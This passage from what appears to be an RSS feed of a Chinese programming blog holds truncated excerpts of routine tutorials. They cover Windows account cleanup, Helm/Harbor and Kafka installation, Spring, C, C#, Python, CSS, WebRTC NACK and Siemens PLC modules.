在我们删除一个账户后，通常会在C盘下面残留如下一些文件：&#xA;那么这些文件其实是在之前的环境变量/应用缓存或者注册表的ProfileImagePath值为Users下dhy的文件路径，然后运行程序后产生的。需要进行更改，否则下次运行还会出现这种情况。&#xA;2.1.1 产生原因 这可能与我在lusrmgr窗口直接删除用户但是没有禁用账户dhy的管理员权限有关。由于账户dhy已经具有管理员权限，该账户下文件的权限也达到了最高。那么即使在Administrator账户下，也不具备这些文件的管理权限（不知道是不是因为同为Administrators组），从而无法对其直接删除。&#xA;2.1.2 删除用户的其他办法 如果不通过lusrmgr窗口删除用户，也许能够删除得更干净。这里以Windows11为例，首先通过Win+i组合键打开设置：&#xA;点击系统→系统信息得到如下界面：&#xA;点击高级系统设置，加载出系统属性:&#xA;点击用户配置文件模块中的设置，会加载出用户配置文件对话框：&#xA;这里因为我只有一个用户，删除为灰色，如果有多余的用户选中后就可以点击删除。&#xA;参考链接：&#xA;http://www.zztongyun.com/article/%E7%94%B5%E8%84%91%E6%9C%89%E4%B8%A4%E4%B8%AA%E7%94%A8%E6%88%B7%E6%80%8E%E4%B9%88%E5%88%A0%E9%99%A4%E4%B8%80%E4%B8%AA 2.2．解决方法 2.2.1.修改环境变量 这里以Windows11操作系统为例，首先通过Win+R组合键打开运行，输入“control”按回车键确定打开控制面板,也可以点击开始菜单在搜索栏搜索打开。&#xA;点击用户账户-用户账户&#xA;可以看到控制面板主页下有更改我的环境变量选项&#xA;点击更改我的环境变量，出现如下界面，发现Path的路径为之前所删除账户下的路径:&#xA;双击进入后即可进行修改，修改后到当前的Administrator路径下：&#xA;或者桌面点击右键，点击个性化-系统-系统信息-高级系统设置，出现如下界面：&#xA;最后点击环境变量也可以达到到第一张操作方法的效果。&#xA;2.2.2.修改登录名 当我们想将登陆界面的登录名设置为中文而又保持文件路径为英文时，可以仅修改登陆名为中文，避免程序安装以及环境变量配置等编程方面的问题。&#xA;前面的步骤与1.3.2.一样，首先进入lusrmgr界面，双击用户后会得到如下界面：&#xA;我们可以看到名称，全名。名称对应的就是用户名，而全名对应的是登录名。当登录名的值为空时，将默认展示用户名为登录名。再右键点击Administrator选择属性，或者双击，出现如下界面后便可进行设置：&#xA;这里我将全名（登录名）设置为logname&#xA;2.2.3. 组或用户名删除 由于这次删除账户时把桌面的文件迁移到现在的Administrator上，有的快捷方式的组和用户名还残留着之前的账户，那么以桌面的Adobe Photoshop 2021为例，右键属性，点击安全，在组和用户名会看到未知用户，这个就是之前删除的账户。</description>
    </item>
    <item>
      <title>分享7个比B站更刺激的老司机网站，别轻易点开</title>
      <link>https://bchobby.github.io/posts/6d4065756aa6d088c47e3c30838f4502/</link>
      <pubDate>Fri, 17 Feb 2023 15:55:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d4065756aa6d088c47e3c30838f4502/</guid>
      <description>俗话说摸鱼一时爽，一直摸一直爽，作为一个程序员老司机了，一头乌黑浓密的头发还时不时被同事调侃，就靠这10个网站让我健康生活，不建议经常性使用，因为还有一句俗话，那就是“摸鱼一时爽，没有年终奖”，记得点赞收藏！&#xA;程序员导航-CXY521 这是一个程序员学习网站，这个网站可以用牛逼两个字形容，我愿称之为救大命的网站，涉及到程序员的方方面面的资源都有，基本上一个导航网站可就可以满足，程序员工作、娱乐、查资料、看电影、摸鱼的需求了，不过据我观察，大家还是最喜欢其中的摸鱼功能。&#xA;这也是我上班摸鱼，转换心情的绝佳利器，男人至死都是少年啊！使用了的朋友都说，只恨没有早点发现这个网站。&#xA;This person does not exist 一个小众又好玩的网站，网站名叫 this person does not exist，翻译是“查无此人”，用户只要每刷新一次，该网站就会生成一幅人脸。看着好像没什么特别，但是你可能想不到，这些人脸都是假的。工作累了，不妨在这里试图生成你的梦中情人吧？传送门：https://thispersondoesnotexist.com/&#xA;一个轻量级的低代码开发平台 JNPF，立足于低代码开发技术，采用主流的两大技术Java/.Net开发，专注低代码开发，有拖拽式的代码生成器，灵活的权限配置、SaaS服务，强大的接口对接，随心可变的工作流引擎。支持多端协同操作，100%提供源码，支持多种云环境部署、本地部署。&#xA;传送门：https://www.yinmaisoft.com/?from=&#xA;基于代码生成器，可一站式开发多端使用Web、Android、IOS、微信小程序。代码自动生成后可以下载本地，进行二次开发，有效提高整体开发效率。像“乐高”一样设计你的门户，依然是拖拽式开发，可一站式搭建：生产管理系统、项目管理系统、进销存管理系统、OA办公系统、人事财务等等。可以节省开发人员80%时间成本，并且有以构建业务流程、逻辑和数据模型等所需的功能。&#xA;LintCode 上回有个粉丝回应沸点，说想看面试题，这不是来活了吗，你们可以看看LintCode，这是一个集合了大量算法面试题和AI面试题的网站，它为全世界的码农提供了练习自我技能的良好平台，并且它的注册是免费的，收录了近2000道试题，够你练的了。&#xA;试题分为入门、简单、中等、困难、超难5个级别，内容也是非常丰富，最后两个级别适合在吃饱喝足并且对自己技能有足够自信这挑战，因为这是真的真的真的造火箭试题。相比其他的一些网站，LintCode 的编程挑战覆盖的领域更多，包括算法、数据结构，人工智能，系统设计等众多领域。&#xA;程序员客栈 摸鱼一时爽，没有年终奖，头发茂密是一回事，搞钱的脚步也不能停下。程序员客栈上汇集了众多优秀的开发项目，穷的时候可以来上面接接外包、做做私活，补贴一下自己，本身就有余钱的时候用来作为以后的保险。毕竟谁会跟钱过不去嘛，这个平台还是相当有保障的，项目靠谱，可以找到的优质项目也不少。传送门：https://www.proginn.com/&#xA;All To All 苍天啊这个文档转换网站用过都说好，免费高效，无需下载，支持文档、电子书、图片、视频、音频等多种类型文件不同格式直接的互相转换。并且转换的速度也是比较快，当然，最关键的还是免费。&#xA;boss发一些乱七八糟的东西可以快速解析了，还可以自动去背景，是一个神仙网站。传送门：https://www.alltoall.net/&#xA;一个可以解决任何 bug 问题的网站 作为一名程序员，如果没有听过 Stack overflow，那么你最好去面壁思过一下。&#xA;程序员最痛苦的事莫过于深陷于BUG的泥潭，而stack overflow作为全球最大的技术问答网站，可以说每个搞过技术的人是必上的网站。开发过程中遇到什么 bug，上去搜一下，只要搜索的方式对，百分之 99 的问题都能搜到答案。&#xA;而且 Stackoverflow 可以看到很多经典的问题，都给我去收藏夹里吃灰！在这里能够与很多有经验的开发者交流，如果你是老司机，还可以来这儿帮助别人解决问题，积累积累功德。传送门：https://stackoverflow.com/&#xA;由于篇幅有限，只能到这了。而且想靠一篇文章写齐这些实用的网站，显然是不可能的，如果各位对本篇内容感兴趣的话，不妨点一个赞+收藏，我再爆肝一下，把我平时用的都甩给大家，大家也别怪我标题党啦~~~</description>
    </item>
    <item>
      <title>char *字符串和char[]的区别</title>
      <link>https://bchobby.github.io/posts/8317d28be48b469cbbc86f71f8254bf1/</link>
      <pubDate>Fri, 17 Feb 2023 12:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8317d28be48b469cbbc86f71f8254bf1/</guid>
      <description>简介 char *类型的字符串和char []类型的字符数组在 C 语言中经常用到，它们的主要区别在于如何定义和使用。char *类型的字符串是一个指向字符数组的指针，指针的值为第一个字符的地址，字符串中的每个字符都是用连续的内存单元存储的。在 C 语言中，我们通常使用双引号来定义字符串，例如：&#xA;char *str = &#34;hello&#34;; 这里的 str 是一个指向字符数组的指针，指向以字符 &#39;h&#39; 开始的内存空间，后面依次存储了字符 &#39;e&#39;、&#39;l&#39;、&#39;l&#39; 和 &#39;o&#39;，最后以一个 &#39;\0&#39; 结尾。在使用指针指向的字符串时，我们通常使用指针访问字符串的每个字符，例如：&#xA;char *str = &#34;hello&#34;; char c = str[0]; // 访问字符串的第一个字符 char []类型的字符数组是一种定长数组，存储指定长度的字符序列，数组中的每个元素都是一个 char 类型的变量。在 C 语言中，我们通常使用中括号来定义字符数组，例如：&#xA;char arr[] = {&#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;\0&#39;}; 这里的 arr 是一个长度为 6 的字符数组，它包含了字符 &#39;h&#39;、&#39;e&#39;、&#39;l&#39;、&#39;l&#39; 和 &#39;o&#39;，最后以一个 &#39;\0&#39; 结尾。在使用字符数组时，我们可以通过下标访问数组中的每个元素，例如：&#xA;char arr[] = {&#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;\0&#39;}; char c = arr[0]; // 访问数组的第一个元素 需要注意的是，char * 类型的字符串和 char [] 类型的字符数组在很多情况下可以相互转换，但它们是不同的数据类型，需要根据实际情况进行选择和使用。</description>
    </item>
    <item>
      <title>Helm部署Harbor</title>
      <link>https://bchobby.github.io/posts/3f077639968da4e18819382b3d762ff2/</link>
      <pubDate>Fri, 17 Feb 2023 11:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f077639968da4e18819382b3d762ff2/</guid>
      <description>前言 文章篇幅较长，请详细阅读，不要漏掉每一个注释，每一个细节。&#xA;文章中用到的harbor存储是hostpath，service的类型是ingress。根据harbor官网提示，需要提前创建pv和pvc，既然选择了hostpath，那么就需要将pod固定到某一个node上面，本文所有的资源副本都是1，harbor的所有pod放在同一个namespace，并且需要将namespace固定到某个node上，具体步骤见正文。&#xA;一.环境准备 1.二进制安装helm [root@k8s-master helm]# wget https://get.helm.sh/helm-v3.10.3-linux-amd64.tar.gz [root@k8s-master helm]# tar zxf helm-v3.10.3-linux-amd64.tar.gz [root@k8s-master helm]# cd linux-amd64/ [root@k8s-master helm]# cp helm /usr/local/bin/ [root@k8s-master helm]# helm version version.BuildInfo{Version:&#34;v3.10.3&#34;, GitCommit:&#34;835b7334cfe2e5e27870ab3ed4135f136eecc704&#34;, GitTreeState:&#34;clean&#34;, GoVersion:&#34;go1.18.9&#34;} 2.创建namespace [root@k8s-master helm]# cat namespace-harbor.yaml apiVersion: v1 kind: Namespace metadata: name: harbor [root@k8s-master helm]# kubectl apply -f namespace-harbor.yaml 3.开启准入控制器 –enable-admission-plugins 添加 PodNodeSelector&#xA;[root@k8s-master helm]# vim /etc/kubernetes/manifests/kube-apiserver.yaml apiVersion: v1 kind: Pod metadata: annotations: kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint: 192.168.0.20:6443 creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --advertise-address=192.</description>
    </item>
    <item>
      <title>el-table修改背景颜色，去掉边框，鼠标划过没变色效果</title>
      <link>https://bchobby.github.io/posts/eb3dd097bcfeae45669e349228eed539/</link>
      <pubDate>Fri, 17 Feb 2023 10:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb3dd097bcfeae45669e349228eed539/</guid>
      <description>一.整个表格背景颜色及边框弧度 /deep/ .el-table{&#xA;background-color: #101d3f;&#xA;color: #fff;&#xA;// border-radius: 9px;&#xA;}&#xA;二.标题背景颜色 /deep/ .el-table th{&#xA;background-color: #101d3f;&#xA;border:none;&#xA;}&#xA;三 去掉边框 /deep/ .el-table th.el-table__cell{&#xA;border: 0px;&#xA;}&#xA;/deep/ .el-table td{&#xA;background-color: #101d3f;&#xA;}&#xA;/deep/ .el-table--border{&#xA;border:none;&#xA;border: 0px;&#xA;}&#xA;/deep/ .el-table td.el-table__cell{&#xA;border: 0px;&#xA;}&#xA;.el-table::before {&#xA;height: 0px;&#xA;}&#xA;customer-table是在el-table里面定义的class类名称 .customer-table .el-table__fixed-right::before,&#xA;.el-table__fixed::before {&#xA;width: 0;&#xA;}&#xA;四.鼠标移过表格不变色 /deep/ .el-table tbody tr:hover&amp;gt;td { background-color: #101d3f !important&#xA;}</description>
    </item>
    <item>
      <title>Spring Boot整合Spring Security并设置自定义登录页面</title>
      <link>https://bchobby.github.io/posts/6583b9b9ca3f36ea9a165da42c310b84/</link>
      <pubDate>Fri, 17 Feb 2023 05:48:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6583b9b9ca3f36ea9a165da42c310b84/</guid>
      <description>准备工作，创建一个Spring Boot项目，注意选择Spring Boot的版本，选择3.0以下的版本。&#xA;选择如下依赖,等待项目创建成功。&#xA;项目创建成功之后，添加Mybatis-plus的依赖。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.1.tmp&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 上篇文章没有带大家查询数据库，这次我们就去查一下，并且使用ide自带的MybatisX的插件去逆向生成我们的的实体类和mapper文件。&#xA;创建数据库text，创建表、字段.&#xA;CREATE DATABASE `text`; USE `text`; DROP TABLE IF EXISTS `t_user`; CREATE TABLE `t_user` ( `t_id` int(4) NOT NULL AUTO_INCREMENT, `t_name` varchar(20) DEFAULT NULL, `t_password` varchar(60) DEFAULT NULL, `t_authority` varchar(60) DEFAULT NULL, PRIMARY KEY (`t_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; insert into `t_user`(`t_id`,`t_name`,`t_password`,`t_authority`) values (1,&#39;yjd&#39;,&#39;123&#39;,&#39;1&#39;),(2,&#39;zhansan&#39;,&#39;123&#39;,&#39;0&#39;); MybatisX的使用大家可以看一下我的另外一篇文章。这里不再赘述了。&#xA;逆向生成实体类之后，我们先配置数据源。&#xA;server: port: 8081 spring: datasource: url: jdbc:mysql://localhost:3306/text?useUnicode=true&amp;amp;characterEncoding=UTF-8&amp;amp;serverTimezone=Asia/Shanghai username: root password: ****** mybatis-plus: # 配置mybatis-plus mapper-locations: mapper/*.</description>
    </item>
    <item>
      <title>python实现十以内加减乘数运算自测小程序</title>
      <link>https://bchobby.github.io/posts/97904b297e53e67f5ee93b0785bcd8dc/</link>
      <pubDate>Thu, 16 Feb 2023 22:29:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97904b297e53e67f5ee93b0785bcd8dc/</guid>
      <description>非常适合python初学者(掌握基础语法)的一道练手题୧꒰•̀ᴗ•́꒱୨ 编写自测小程序，程序随机生成10道加减乘除运算（运算种类随机，参与运算操作数为随机[1-10]之间的正整数），程序给出一道随机生成的题目，程序使用者来给出答案，当使用者10道题都打完之后，统一将十道题及使用者给出答案进行打印，并在每道题后面给出使用者当前题目的对错情况，如果打错还需另给出正确答案，在最后给出使用者本次测试的总得分（每题10分，总分100分）。&#xA;说明：&#xA;1、示例中蓝色部分为用户输入部分，黑色部分为程序输出部分，只是为了帮助大家区分哪部分是需要使用者输入的，程序运行时无序进行颜色设置。&#xA;2、除法结果小数点后保留两位有效数字。&#xA;3、本程序题目生成可通过随机数来完成。&#xA;程序运行示例：&#xA;代码实现:&#xA;import random x1=[] x2=[] x3=[] x4=[] x5=[] #上面列表用来存测试的试题和你输入的结果,还有正确答案,方便后续每题答案的判断对错,即最后成绩的给出 cj=0 print(&#34;欢迎使用算术自测程序，测试开始：&#34;) for i in range(0,10): a=random.randint(1,10) #随机产生指定范围内的整数 b=random.randint(1,10) c=random.choice([&#34;+&#34;,&#34;-&#34;,&#34;*&#34;,&#34;/&#34;]) print(&#34;第%d题；%d%s%d= &#34; %(i+1,a,c,b),end=&#34;&#34;) if c==&#34;+&#34;: qes=int(input()) res=a+b if c==&#34;-&#34;: qes=int(input()) res=a-b if c==&#34;*&#34;: qes=int(input()) res=a*b if c==&#34;/&#34;: qes=float(input()) res=a/b x1.append(a) x2.append(b) x3.append(c) x4.append(qes) x5.append(round(res, 2)) #题目要求除法保留两位小数(round不对整数处理) print(&#34;答题完毕，您的答题结果为：&#34;) for i in range(0,10): if x3[i]==&#34;+&#34;: if x4[i]==x5[i]: print(&#34;第%d题：%d+%d=%d&#34; %(i+1,x1[i],x2[i],x4[i]),end=&#34;&#34;) print(&#34; √&#34;) cj+=10 else: print(&#34;第%d题：%d+%d=%d&#34; %(i + 1, x1[i], x2[i], x4[i]), end=&#34;</description>
    </item>
    <item>
      <title>vscode中怎样让python代码对齐</title>
      <link>https://bchobby.github.io/posts/49bc061b8bf92b9b7f5a0e558b674a7b/</link>
      <pubDate>Thu, 16 Feb 2023 21:54:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49bc061b8bf92b9b7f5a0e558b674a7b/</guid>
      <description>在VSCode中让Python代码对齐有多种方法：&#xA;手动对齐：选中要对齐的代码行，按下“Tab”键或“Shift+Tab”键，可以向右或向左缩进，实现对齐。&#xA;自动对齐：在VSCode中，可以通过安装Python插件来实现自动对齐。安装完插件后，在编辑Python文件时，按下“Shift+Alt+F”快捷键，可以对整个文件进行自动对齐。&#xA;设置缩进：在VSCode中，可以通过设置缩进来实现代码对齐。打开“文件”菜单中的“首选项”选项，选择“设置”菜单，在搜索框中输入“python.indentation”，可以找到Python代码缩进相关的设置，可以根据自己的习惯设置缩进大</description>
    </item>
    <item>
      <title>在Linux和Windows上安装kafka(版本:2.12-2.8.0)</title>
      <link>https://bchobby.github.io/posts/684013f990368c095f4b35af4c5d5dd0/</link>
      <pubDate>Thu, 16 Feb 2023 21:29:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/684013f990368c095f4b35af4c5d5dd0/</guid>
      <description>记录：379&#xA;场景：在CentOS 7.9操作系统上，安装kafka_2.12-2.8.0。在Windows上操作系统上，安装kafka_2.12-2.8.0。&#xA;版本：&#xA;JDK 1.8 CentOS 7.9 zookeeper-3.5.9 kafka_2.12-2.8.0 一、在Linux上安装kafka&#xA;安装虚拟机：B203&#xA;虚拟机IP：192.168.19.203&#xA;1.下载kafka&#xA;版本：kafka_2.12-2.8.0。&#xA;下载命令：wget https://archive.apache.org/dist/kafka/2.8.0/kafka_2.12-2.8.0.tgz&#xA;下载包：kafka_2.12-2.8.0.tgz&#xA;2.解压kafka&#xA;解压到目录：/opt/zk&#xA;解压命令：tar -zxvf kafka_2.12-2.8.0.tgz -C /opt/kafka/&#xA;解析：在kafka_2.12-2.8.0目录下，包括bin、config、libs、site-docs、licenses目录。在bin目录下存放脚本。config目录下存放配置文件。site-docs目录下存放kafka的文档。在lib目录下存放kafka运行包以及全量依赖包。licenses目录下存放许可文件。&#xA;3.配置kafka&#xA;操作目录：/opt/kafka/kafka_2.12-2.8.0/config&#xA;修改文件：server.properties&#xA;修改内容：&#xA;# 配置日志目录 log.dirs=/opt/kafka/kafka-logs-2.8.0 # 配置Kafka端口 port=29001 # 配置连接zookeeper zookeeper.connect=192.168.19.203:12181 4.启动kafka&#xA;4.1启动zookeeper&#xA;操作目录：/opt/zk/zookeeper-3.5.9/bin&#xA;命令：sh zkServer.sh start&#xA;在Linux上安装zookeeper，请参考博文。&#xA;地址：https://blog.csdn.net/zhangbeizhen18/article/details/129071097&#xA;4.2启动kafka&#xA;操作目录：/opt/kafka/kafka_2.12-2.8.0/bin&#xA;启动命令1：./kafka-server-start.sh ../config/server.properties&#xA;启动命令2：nohup ./kafka-server-start.sh ../config/server.properties &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;解析：启动命令1，直接在控制台打印信息。启动命令2，后台启动。&#xA;4.3关闭kafka&#xA;Pid=$(jps -lm | grep -i &#39;kafka.Kafka&#39;| awk &#39;{print $1}&#39;) kill -s KILL $Pid 解析：直接使用.</description>
    </item>
    <item>
      <title>【Spring】@Value注入配置文件 application.yml 中的值失败怎么办</title>
      <link>https://bchobby.github.io/posts/a156ec3e4134209e90aaff80c1112951/</link>
      <pubDate>Thu, 16 Feb 2023 20:34:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a156ec3e4134209e90aaff80c1112951/</guid>
      <description>本期目录 一、 问题背景二、 问题原因三、 解决方法 一、 问题背景 今天碰到的问题是用 @Value 注解无法注入配置文件 application.yml 中的配置值。&#xA;检查过该类已经交给 Spring 容器管理了，即已经在类上加了 @Configuration 和 @ConfigurationProperties(prefix = &#34;xxx&#34;) 注解了。但还是注入失败。&#xA;下面是配置文件 application.yml 中要注入的配置值：&#xA;student: name: Tom age: 21 问题伪代码如下：&#xA;@Configuration @ConfigurationProperties(prefix = &#34;student&#34;) public class StudentConfig { @Value(&#34;${student.name}&#34;) private String name; @Value(&#34;${student.age}&#34;) private int age; private Map&amp;lt;Long, Student&amp;gt; stuMap = new HashMap&amp;lt;&amp;gt;(); // 使用空参构造器初始化stuMap public StudentConfig() { stuMap.put(1001L, new Student(name, age)); } } 看起来没有问题，但当我获取 stuMap 中的 Student 对象时，却发现其两个属性 name 为 null 、age = 0 。</description>
    </item>
    <item>
      <title>Python和pycharm先安装谁？</title>
      <link>https://bchobby.github.io/posts/db96cab397ee3b2a9f8c3b0e171d4973/</link>
      <pubDate>Thu, 16 Feb 2023 19:37:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db96cab397ee3b2a9f8c3b0e171d4973/</guid>
      <description>建议先安装Python，因为PyCharm是一个Python的集成开发环境(IDE)，需要使用Python的解释器来运行和调试代码。安装Python后，您可以在PyCharm中设置Python解释器，然后开始编写和运行Python代码。</description>
    </item>
    <item>
      <title>使用 whistle 在 macOS 上进行抓包</title>
      <link>https://bchobby.github.io/posts/290dd4a996c8770fe5781551158add73/</link>
      <pubDate>Thu, 16 Feb 2023 19:31:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/290dd4a996c8770fe5781551158add73/</guid>
      <description> 首先确保 node.js 已经安装，没有安装的在 https://nodejs.org/en/ 下载安装使用 node.js 全局安装 whistle （仅第一次需要） $ npm i -g whistle whistle 安装 ca 证书 (仅第一次需要) $ w2 ca whistle 自动设置代理 (每次都需要) whistle proxy whistle 启动 w2 start 开始抓包&#xA;访问这个地址&#xA;进入 Network 栏目&#xA;记得打开 http/2&#xA;即可查看当前设备的所有请求&#xA;whsitle 停止&#xA;whistle stop whistle 关闭代理(不关闭无法正常使用网络) w2 proxy --off </description>
    </item>
    <item>
      <title>C# 进阶教程（一） 委托</title>
      <link>https://bchobby.github.io/posts/d3e70572077dc85c16a994280e51ec0c/</link>
      <pubDate>Thu, 16 Feb 2023 19:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3e70572077dc85c16a994280e51ec0c/</guid>
      <description>1 委托 1.1 委托简介 委托是C#语言中的一种高级语法，其作为一种与类同级的对象，定义在命名空间内。&#xA;//委托的定义 namespace TestNameSpace { public delegate void testDelegate (string text); public class TestClass { static void Main(string[] args) { Console.WriteLine(&#34;Hello World!&#34;); } } } 委托是一个对象，它知道该如何调用方法，作为一个引用类型，和类是同级的，委托实例 把方法赋值给委托变量时调用者调用委托，委托调用目标方法。&#xA;1.2 委托是一种方法模板 和面向对象中的类的概念相似，我们都知道类作为一个对象的模板，各种对象都可以被描述为一个类或者继承于某个类的子类。&#xA;而委托也是一种模板，它是函数/方法的模板，如上面所看到的委托 testDelegate ，其就是一类方法的模板，其代表的是输入类型为 string ，返回类型为 void 的一类函数。其实例化的过程需要接收该类型的函数。如下方示例所示：&#xA;using System; namespace TestNameSpace { public delegate void testDelegate(string text); public class TestClass { static void Main(string[] args) { MethodClass methodClass = new MethodClass();//实例化类 用于引用类中存在的方法 testDelegate testDelegate_1 = new testDelegate( methodClass.</description>
    </item>
    <item>
      <title>WebRTC QoS方法一（NACK实现）</title>
      <link>https://bchobby.github.io/posts/8967aae34a76086fcb25c28c274d6a80/</link>
      <pubDate>Thu, 16 Feb 2023 18:15:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8967aae34a76086fcb25c28c274d6a80/</guid>
      <description>一、概念 与NACK对应的是ACK，ACK是到达通知技术。以TCP为例，他可靠因为接收方在收到数据后会给发送方返回一个“已收到数据”的消息（ACK），告诉发送方“我已经收到了”，确保消息的可靠。&#xA;NACK也是一种通知技术，只是触发通知的条件刚好的ACK相反，在未收到消息时，通知发送方“我未收到消息”，即通知未达。&#xA;在rfc4585协议中定义可重传未到达数据的类型有二种：&#xA;1）RTPFB：rtp报文丢失重传。&#xA;2）PSFB：指定净荷重传，指定净荷重传里面又分如下三种：&#xA;1、PLI (Picture Loss Indication) 视频帧丢失重传。&#xA;2、SLI (Slice Loss Indication) slice丢失重转。&#xA;3、RPSI (Reference Picture Selection Indication)参考帧丢失重传。&#xA;在创建视频连接的SDP协议里面，会协商以上述哪种类型进行NACK重转。以webrtc为例，会协商两种NACK，一个rtp报文丢包重传的nack（nack后面不带参数，默认RTPFB）、PLI 视频帧丢失重传的nack。&#xA;二、定义 V： 2bit 目前固定为2&#xA;P： 1bit padding&#xA;FMT：5bit Feedback message type。 RTP FP模式下定义值为：&#xA;0:unassigned&#xA;1:Generic NACK&#xA;2-30:unassigned&#xA;31:reserved for future expansion of the identifier number space&#xA;PS FP模式下定义值为：&#xA;0: unassigned&#xA;1: Picture Loss Indication (PLI)&#xA;2: Slice Loss Indication (SLI)&#xA;3: Reference Picture Selection Indication (RPSI)</description>
    </item>
    <item>
      <title>本地搭建NC环境，实现代码开发工作</title>
      <link>https://bchobby.github.io/posts/f759e9e40ce9968894f5e885484128d0/</link>
      <pubDate>Thu, 16 Feb 2023 17:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f759e9e40ce9968894f5e885484128d0/</guid>
      <description>本地搭建NC环境，实现代码开发工作 1、下载eclipse和NC5.7，配置好jdk路径32位 2、拉取nc项目代码 3、配置环境 4、启动服务端和客户端 5、开发接口服务 5.1 新建测试接口和对应的实现类 5.2 编写upm文件 &amp;lt;?xml version=&#39;1.0&#39; encoding=&#39;UTF-8&#39;?&amp;gt; &amp;lt;module name=&#34;xljt&#34;&amp;gt; &amp;lt;public&amp;gt; &amp;lt;component remote=&#34;true&#34; singleton=&#34;true&#34; tx=&#34;CMT&#34;&amp;gt; &amp;lt;interface&amp;gt;nc.itf.webapi.Test&amp;lt;/interface&amp;gt; &amp;lt;implementation&amp;gt;nc.impl.xljt.TestServiceImpl&amp;lt;/implementation&amp;gt; &amp;lt;extension class=&#34;nc.uap.ws.deploy.OxbWSExtensionProcessor&#34;&amp;gt; &amp;lt;wsdl&amp;gt;/nc/itf/webapi/Test.wsdl&amp;lt;/wsdl&amp;gt; &amp;lt;address&amp;gt;/nc.itf.webapi.Test&amp;lt;/address&amp;gt; &amp;lt;/extension&amp;gt; &amp;lt;/component&amp;gt; &amp;lt;/public&amp;gt; &amp;lt;/module&amp;gt; 5.2 生成wsdl文件 5.3 public web services 、&#xA;6、部署接口服务 6.1 导出补丁，把接口代码放到nchome里面 6.2 把导出的nc压缩包的modules文件夹放到nc的根目录下，替换原先的modules文件夹 6.3 执行%nchome%\bin\ncSysConfig.bat 6.4 点击部署EJB, 等待部署完成 注意：需要先关闭eclipse，不然部署会失败&#xA;7、使用SOAP UI 工具测试接口 7.1启动中间件后, 访问localhost/uapws/service 7.2 找到测试的接口, 然后复制接口地址 7.3 使用webservice接口测试工具SOAP UI ,进行测试 8、在项目中测试接口-使用wsimport命令 8.1 使用wsimport命令生成的本地java代码 http://localhost/uapws/service/nc.itf.webapi.Test?wsdl&#xA;8.2 把生成的代码移动到项目中 8.3 测试接口 @RequestMapping(&#34;/test2&#34;) public String test2() { Test_Service test_service = new Test_Service(); String result = test_service.</description>
    </item>
    <item>
      <title>西门子S7-200 SMART PLC模拟量模块常见问题</title>
      <link>https://bchobby.github.io/posts/534bf0f7fb777f839970b64ce0e5974b/</link>
      <pubDate>Thu, 16 Feb 2023 16:13:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/534bf0f7fb777f839970b64ce0e5974b/</guid>
      <description>西门子S7-200 SMART PLC模拟量模块常见问题&#xA;1、S7-200 SMART 普通模拟量模块可以连接4-20mA的信号吗？&#xA;可以，S7-200 SMART CPU模拟量模块可以检测0～20mA和4～20mA的标准电流信号；两种电流信号的接线、在STEP 7-Micro/WIN SMART软件中的参数设置都是一样的。区别在于：0～20mA对应的通道值量程是0～27648，而4～20mA对应的通道值量程是5530～27648。&#xA;2、S7-200 SMART RTD模块可以测量电阻值吗？&#xA;可以，S7-200 SMART RTD模块最大可以测量3000Ω的电阻值。如下图所示，在“类型”下拉菜单中选择电阻类型；在“电阻”下拉菜单中中选择可测量电阻的最大值。&#xA;3、S7-200 SMART RTD和TC模块如何得到实际温度值？&#xA;把S7-200 SMART EM RTD和TC模块的通道值除以10就是实际的温度值。由于RTD和TC模块的通道值是整数值，需要把整数值转换成浮点数才能在计算后得到带有小数位的温度值。&#xA;4、模拟量模块分辨率和转换精度的区别？&#xA;分辨率是A/D模拟量转换芯片的转换精度，即用多少位的数值来表示模拟量。以下举例说明10位分辨率和11位分辨率的区别。S7-200 SMART CPU模拟量0~20mA的通道值范围为0~27648。如果分辨率为10位，则表示当外部电流信号的变化大于0.01953125mA时，模拟量A/D转换芯片才认为外部信号有变化。如果分辨率为11位，则表示当外部电流信号的变化大于0.009765625mA时，模拟量A/D转换芯片即认为外部信号有变化。模拟量转换的精度除了取决于A/D转换的分辨率，还受到转换芯片的外围电路的影响。在实际应用中，输入的模拟量信号会有波动、噪声和干扰，内部模拟电路也会产生噪声、漂移，这些都会对转换的最后精度造成影响。这些因素造成的误差要大于A/D芯片的转换误差。&#xA;5、S7-200 SMART I/O扩展模块DIAG指示灯以红色闪烁的原因？&#xA;S7-200 SMART I/O扩展模块的DIAG指示灯以红色闪烁的原因有两个，建议查看CPU的信息来确认具体报错原因，查看CPU信息的方法请见硬件诊断或诊断方法举例。&#xA;（1） 模块缺少24V直流供电电源；I/O扩展模块缺少24V直流供电电源时，所有通道指示灯也以红色闪烁。建议核对模块接线图，尤其是模块供电端含两排端子的，确定供电接线是否正确。&#xA;（2）、模拟量模块上通道断线或是输入值超量程。 